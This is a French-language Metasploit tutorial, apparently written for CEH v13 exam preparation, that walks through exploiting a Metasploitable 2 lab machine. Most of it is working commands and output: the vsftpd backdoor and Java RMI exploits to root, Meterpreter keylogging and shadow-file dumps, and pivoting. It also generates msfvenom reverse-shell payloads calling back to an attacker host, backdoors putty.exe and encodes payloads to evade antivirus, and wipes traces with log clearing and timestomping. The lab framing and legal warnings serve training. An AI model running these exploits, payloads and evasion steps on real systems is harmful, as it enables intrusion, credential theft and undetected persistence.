Maîtriser Metasploit Framework pour exploiter les vulnérabilités de Metasploitable 2 : sélection d’exploits, payloads Meterpreter, post-exploitation (privilege escalation, dump de hashs, persistence), génération de payloads custom avec msfvenom, évasion AV. Workflow complet attendu au CEH v13.
📍 À lire d’abord : Passer le CEH v13 depuis l’Afrique de l’Ouest — Guide complet 2026 · Lab CEH avec Kali Linux + DVWA + HTB Academy · Scan réseau avancé avec Nmap.
⚠️ Toutes les exploitations s’exécutent contre Metasploitable 2 dans ton lab interne (10.10.10.20) ou des machines HTB autorisées. Aucune cible non autorisée.
Introduction
Metasploit Framework (MSF) est l’arsenal d’exploitation le plus complet de l’écosystème open-source : 2300+ exploits, 1300+ auxiliaires, 600+ payloads, 850+ modules post-exploitation. Pour le CEH v13, c’est l’outil central des modules 06 System Hacking (~10 % de l’examen) et 14 Hacking Web Servers/Apps. Maîtriser MSF, c’est savoir transformer un CVE découvert en accès root, et pivoter dans un réseau compromis.
Ce tutoriel construit un workflow complet d’exploitation : démarrage de MSF, recherche d’exploits applicables aux vulnérabilités identifiées sur Metasploitable 2 (vsftpd backdoor, distccd RCE, Tomcat default creds, Java RMI), génération de payload Meterpreter, post-exploitation (escalade, hashs, persistence), création de payload custom avec msfvenom, et techniques basiques d’évasion AV. À la fin, tu sais reproduire le scénario initial access → privilege escalation → persistence → exfiltration attendu au CEH.
Prérequis
- Lab Kali + Metasploitable 2 (10.10.10.20) en réseau interne, cf. tutoriel lab CEH.
- Output Nmap récent identifiant les services et versions de Metasploitable 2.
- Compréhension basique TCP/IP et reverse shell vs bind shell.
- Niveau attendu : intermédiaire-confirmé.
- Temps estimé : 4-5 heures.
Étape 1 — Démarrer Metasploit Framework
Sur Kali, MSF est préinstallé. Démarre la base PostgreSQL nécessaire au framework, puis lance la console :
sudo systemctl start postgresql
sudo systemctl enable postgresql
sudo msfdb init
msfconsole
Au démarrage de msfconsole, le banner ASCII s’affiche, suivi du prompt msf6 >. Vérifie la connexion à la base :
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.
Si Disconnected, relance sudo msfdb reinit.
Importe les résultats de ton scan Nmap précédent :
msf6 > db_import /home/kali/scans/scan-full.xml
[*] Importing 'Nmap XML' data
[*] Successfully imported /home/kali/scans/scan-full.xml
msf6 > hosts
msf6 > services
Tu vois maintenant les services de Metasploitable 2 dans la base MSF, prêts à être exploités.
Étape 2 — Comprendre la structure des modules
MSF organise ses modules en sept catégories :
exploits/ → modules qui exploitent une vulnérabilité spécifique
auxiliary/ → scanners, fuzzers, attaques réseau (DOS, sniffing)
post/ → modules post-exploitation (après accès initial)
payloads/ → ce qui est exécuté après l'exploit (shell, meterpreter)
encoders/ → encode les payloads pour évasion AV
nops/ → générateur de NOP slides (slide d'instructions inoffensives)
evasion/ → modules dédiés à l'évasion (Windows Defender, etc.)
Recherche un module : search vsftpd retourne exploit/unix/ftp/vsftpd_234_backdoor. Affiche les détails : info exploit/unix/ftp/vsftpd_234_backdoor. Sélectionne-le : use exploit/unix/ftp/vsftpd_234_backdoor.
Étape 3 — Premier exploit : vsftpd 2.3.4 backdoor
Metasploitable 2 expose vsftpd 2.3.4, qui contient une backdoor (CVE-2011-2523) : tout login avec un username terminant par :) ouvre un bind shell sur le port 6200. MSF automatise cette exploitation.
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > show options
Module options:
Name Required Description
RHOSTS yes The target host(s)
RPORT yes The target port (TCP) — default 21
Configure et lance :
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 10.10.10.20
msf6 exploit(vsftpd_234_backdoor) > exploit
[*] 10.10.10.20:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.20:21 - USER: 331 Please specify the password.
[+] 10.10.10.20:21 - Backdoor service has been spawned, handling...
[+] 10.10.10.20:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (10.10.10.10:33445 -> 10.10.10.20:6200)
# whoami
root
# hostname
metasploitable
Première exploitation : root direct, en moins de 30 secondes. C’est ce qui rend les vieux logiciels non patchés si dangereux. La leçon défensive : mettre à jour, monitorer les versions exposées (combo Shodan + CVE feed).
Sors du shell avec exit puis exit MSF temporairement.
Étape 4 — Deuxième exploit : Java RMI server
Metasploitable 2 expose un service Java RMI sur le port 1099 avec une faille de désérialisation. Exploit :
msf6 > use exploit/multi/misc/java_rmi_server
msf6 exploit(java_rmi_server) > set RHOSTS 10.10.10.20
msf6 exploit(java_rmi_server) > set PAYLOAD java/meterpreter/reverse_tcp
msf6 exploit(java_rmi_server) > set LHOST 10.10.10.10
msf6 exploit(java_rmi_server) > set LPORT 4444
msf6 exploit(java_rmi_server) > exploit
Cette fois, on utilise un payload Meterpreter au lieu d’un shell standard. Meterpreter est l’agent post-exploitation propriétaire de Metasploit : in-memory, supporte 200+ commandes (file management, port forward, screenshot, keystroke logger, privilege escalation).
[*] Started reverse TCP handler on 10.10.10.10:4444
[*] 10.10.10.20:1099 - Using URL: http://10.10.10.10:8080/...
[*] 10.10.10.20:1099 - Server started.
[*] 10.10.10.20:1099 - Sending RMI Header...
[*] Sending stage (58073 bytes) to 10.10.10.20
[*] Meterpreter session 2 opened (10.10.10.10:4444 -> 10.10.10.20:42513)
meterpreter > sysinfo
Computer : metasploitable
OS : Linux 2.6.24-16-server (i686)
Architecture : i686
System Language : en_US
Meterpreter : java/linux
meterpreter > getuid
Server username: root@metasploitable
Tu as un Meterpreter root sur Metasploitable.
Étape 5 — Post-exploitation avec Meterpreter
Une fois Meterpreter en place, tu disposes d’un arsenal complet. Commandes essentielles à connaître pour le CEH :
meterpreter > sysinfo # info système
meterpreter > getuid # utilisateur courant
meterpreter > getsystem # tenter privesc Windows
meterpreter > pwd # répertoire courant
meterpreter > ls # lister fichiers
meterpreter > download /etc/passwd # télécharger un fichier
meterpreter > upload /tmp/exploit.sh /tmp/exploit.sh # uploader
meterpreter > shell # shell système classique
meterpreter > ps # processus en cours
meterpreter > kill <PID> # tuer un processus
meterpreter > screenshot # capture d'écran (Windows GUI)
meterpreter > keyscan_start # logger les touches
meterpreter > webcam_list # lister webcams
meterpreter > hashdump # extraire hashs SAM (Windows)
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > background # mettre la session en arrière-plan
Sur Linux, getsystem ne fonctionne pas directement (c’est un module Windows). Pour escalader sur Linux, utiliser des modules dédiés :
meterpreter > run post/multi/recon/local_exploit_suggester
[+] 10.10.10.20 - Found 5 potential exploits:
- exploit/linux/local/cve_2010_3437_pktcdvd
- exploit/linux/local/cve_2017_5618_setuid_screen
...
Liste à confronter aux exploits dispo localement, puis charger le bon.
Pour dump les hashs Linux :
meterpreter > shell
$ cat /etc/shadow
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
$ exit
meterpreter > download /etc/shadow
Le hash dumpé est ensuite passé à Hashcat ou John pour cracking offline (sujet du tutoriel suivant).
Étape 6 — Pivoting et lateral movement
Quand tu compromets une machine sur un sous-réseau, tu veux souvent atteindre d’autres machines via celle-ci. Le pivoting MSF utilise autoroute :
meterpreter > run post/multi/manage/autoroute SUBNET=10.10.20.0 NETMASK=255.255.255.0
[+] Route added to subnet 10.10.20.0/255.255.255.0 from host's routing table.
meterpreter > background
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(portscan/tcp) > set RHOSTS 10.10.20.0/24
msf6 auxiliary(portscan/tcp) > set PORTS 22,80,445
msf6 auxiliary(portscan/tcp) > run
Désormais, MSF route le scan via la machine compromise. Tu accèdes ainsi à un sous-réseau interne sans être directement connecté. C’est exactement la technique APT pour traverser une infrastructure d’entreprise.
Pour un tunnel SOCKS proxy utilisable par n’importe quelle app :
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -j
Ensuite avec proxychains : proxychains nmap -sT 10.10.20.50 route le scan via le SOCKS via la machine compromise.
Étape 7 — Générer un payload custom avec msfvenom
msfvenom est l’outil dédié à la génération de payloads stand-alone (exécutables, scripts, shellcode). Cas d’usage typique : créer un payload exécutable Windows pour phishing simulé.
# Reverse Meterpreter Windows x64 en .exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o payload.exe
# Reverse shell Linux x64
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf
# Web shell PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Android APK avec Meterpreter
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -o app.apk
# Avec encoding pour évasion AV simple (NB: les AV modernes détectent ces encoders)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o encoded.exe
# Lister tous les formats de sortie
msfvenom --list formats
# Lister tous les payloads
msfvenom --list payloads | grep windows/x64
Côté MSF, démarrer le handler qui attendra la connexion entrante :
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
Quand la victime exécute le payload, le handler reçoit la connexion et ouvre une session Meterpreter.
⚠️ Cadre légal : utiliser un payload msfvenom contre un système non autorisé est un crime cybersécurité dans tous les pays CEDEAO. Ces techniques se pratiquent uniquement contre tes propres machines en lab, ou dans le cadre d’une Red Team avec mandat écrit.
Étape 8 — Évasion AV : limites et bonnes pratiques
Les payloads Metasploit standard sont détectés par 80-95 % des antivirus modernes en quelques secondes. L’encoding par shikata_ga_nai aide marginalement contre les vieux AV mais ne trompe plus les EDR récents (CrowdStrike, SentinelOne, Defender ATP).
Pour le CEH, connaître les techniques de base :
# Encoding multi-passes (faible)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x64/zutto_dekiru -i 5 -f exe -o evade.exe
# Format unhandled extension
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hta-psh -o malware.hta
# Création depuis template existant (évite signature standard)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -x putty.exe -f exe -o putty_backdoored.exe
Pour de la vraie évasion en 2026, il faut sortir de Metasploit : payloads custom en C/C++ compilés, frameworks comme Sliver, Mythic, Havoc. Hors scope CEH.
Étape 9 — Cleaning up : effacer ses traces
Un pentester pro nettoie ce qu’il a installé. Sur Metasploitable :
meterpreter > clearev # efface les Event Logs Windows (no-op sur Linux)
meterpreter > timestomp /tmp/exploit.sh -m "01/15/2020 12:00:00" # modifie timestamps
meterpreter > shell
$ history -c # efface l'historique bash
$ rm -rf /tmp/exploit_artifacts/
$ exit
meterpreter > exit -y # ferme la session
Sur un vrai pentest, garder un journal détaillé de chaque modification réalisée pour le rapport final — le client doit savoir quoi vérifier après.
Étape 10 — Workflow complet sur Metasploitable 2
Synthèse de l’enchaînement attendu pour démontrer la maîtrise CEH :
1. Reconnaissance : nmap output sur Metasploitable 2
2. Identification de vulnérabilités : nmap --script vuln, searchsploit
3. Exploitation initiale : MSF exploit pour vsftpd / Java RMI / Tomcat / Samba
4. Stabilisation : Meterpreter session
5. Énumération système : sysinfo, ps, ls, cat /etc/passwd
6. Privilege escalation : déjà root sur Metasploitable, sinon local_exploit_suggester
7. Lateral movement : autoroute + scan du sous-réseau interne
8. Persistence : ajout d'un user, cron job, ou service dédié
9. Exfiltration de preuves : download /etc/shadow, /etc/passwd, fichiers métier
10. Cleanup : timestomp, history -c, suppression d'artefacts
11. Documentation : screenshots de chaque étape, commandes exactes, timeline
Ce workflow couvre les modules 06, 07 et plusieurs autres du CEH v13. Le faire intégralement sur Metasploitable est l’exercice de référence.
Erreurs fréquentes
| Erreur | Cause | Solution |
|---|---|---|
db_status Disconnected |
PostgreSQL pas démarré | sudo systemctl start postgresql puis msfdb init |
exploit failed: timeout |
Mauvais LHOST (IP de Kali) | Vérifier avec ifconfig que LHOST = adresse de Kali sur le bon interface |
| Meterpreter session meurt après 30 secondes | AV cible nettoie le payload | Utiliser un encoder, ou attaquer une cible sans AV (Metasploitable) |
getsystem échoue |
Cible Linux (commande Windows-only) | Utiliser local_exploit_suggester pour Linux |
| Pas de réponse sur port 6200 après vsftpd backdoor | Backdoor déjà déclenchée précédemment | Reboot Metasploitable pour reset |
msfvenom payload inopérable sur cible 32 bits |
Confusion x64 / x86 | Toujours vérifier l’arch cible avec uname -m ou Nmap OS detection |
| Handler ne reçoit rien | Firewall hôte bloque le port LPORT | sudo iptables -F ou choisir un port couramment ouvert (443, 80) |
| Multiple sessions perdues | Réseau instable ou cible reboot | Utiliser set ExitOnSession false + set AutoRunScript multi_console_command -rc resource.rc |
searchsploit ne trouve rien |
Base obsolète | searchsploit -u pour mettre à jour |
Adaptation au contexte ouest-africain
Pour les pentesters en mission red team : MSF reste l’outil de base mais les EDR récents (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne) le détectent à 90 %. Pour vraies missions sur entreprises modernes africaines équipées EDR (banques majeures, grands opérateurs), passer à Sliver / Havoc / Mythic.
Pour les analystes SOC : connaître MSF côté offensif te permet de détecter les patterns côté défensif. Les signatures Yara, les règles Sigma, les détections EDR ont toutes été pensées pour matcher les comportements MSF. Faire tourner un MSF dans un environnement contrôlé est un excellent moyen de tester ses détections.
Pour les CSIRT et CERT régionaux : MSF est un outil de validation à intégrer dans tes runbooks d’incident response. Quand tu reçois une alerte sur un IOC suspect, vérifier si c’est un payload MSF connu avec searchsploit ou la base MSF accélère le triage.
Pour les centres de formation : MSF + Metasploitable 2 est le combo pédagogique standard pour démontrer concrètement ce qu’est une exploitation. 90 minutes de TP pour aller du scan Nmap à un shell root via MSF, c’est un déclic professionnel pour les étudiants.
FAQ
Metasploit Framework reste-t-il pertinent en 2026 ?
Pour CEH et pentest junior, oui. Pour red teaming pro contre cibles EDR, marginalement — les frameworks modernes (Sliver, Havoc, Mythic, Cobalt Strike) ont pris la relève. MSF reste excellent pour l’apprentissage et les CTF.
MSF Pro vaut-il le coût ?
MSF Pro coûte ~15 000 USD/an (Rapid7). Inutile pour un junior. Justifié uniquement pour des équipes red team d’entreprise avec gros budget. La version Community gratuite couvre 95 % des besoins.
Comment ne pas se faire détecter par les AV/EDR ?
Sortir de MSF. Tout payload MSF, même encodé, est signé par les AV majeurs depuis longtemps. Pour vraie évasion : Sliver (gratuit, open-source), Havoc (gratuit), Mythic (gratuit). Tous sortent du scope CEH.
Différence entre Meterpreter et un reverse shell ?
Reverse shell = simple connexion TCP inverse, équivalent d’un nc -e /bin/bash. Meterpreter = agent in-memory avec 200+ commandes, file management, port forward, screenshot, keylogging, plugins. Toujours préférer Meterpreter quand possible.
Comment maintenir une session Meterpreter persistante ?
Module post/windows/manage/persistence_exe ou post/linux/manage/cron_persistence. Crée une tâche planifiée qui relance le handler à chaque boot/log-in. ⚠️ Persistence sans autorisation explicite = crime informatique.
Searchsploit vs Metasploit search ?
searchsploit (Exploit-DB) est plus large : 50 000+ exploits inclus en local sur Kali, dont la majorité ne sont pas dans MSF. msfconsole search ne montre que les exploits intégrés à MSF. Combiner les deux donne la couverture maximale.
Y a-t-il une certification Metasploit ?
Pas officielle. Mais l’OSCP (Offensive Security) demande une maîtrise complète de MSF. Le PNPT (Practical Network Penetration Tester) de TCM Security aussi. Le CEH teste MSF mais à un niveau plus introductif.
Pour aller plus loin
- 🔝 Article cadre : Passer le CEH v13 depuis l’Afrique de l’Ouest — Guide complet 2026
- ⬅️ Prérequis : Lab CEH · OSINT · Nmap avancé · Burp Suite
- ➡️ Suite logique : Cracking de mots de passe Hashcat / John the Ripper (à venir).
- ➡️ Application avancée : Wireless hacking WPA2/WPA3 (à venir).
- Documentation officielle : Metasploit Unleashed — cours gratuit officiel d’Offensive Security, 600+ pages. Rapid7 MSF Documentation.
- Cheat sheets : SANS Metasploit Cheat Sheet, Hacktricks — section Pentesting Methodology.
- Suggestion d’entraînement : exécute le workflow complet de l’étape 10 sur Metasploitable 2, puis sur trois machines HTB Easy différentes. Documente chaque session avec screenshots et commandes — c’est exactement ce qui constitue un rapport de pentest professionnel.
Mots-clés secondaires : Metasploit Framework CEH, Meterpreter post-exploitation, msfvenom payloads, vsftpd backdoor exploit, Java RMI exploit, lateral movement pivoting, evasion AV basique, system hacking CEH.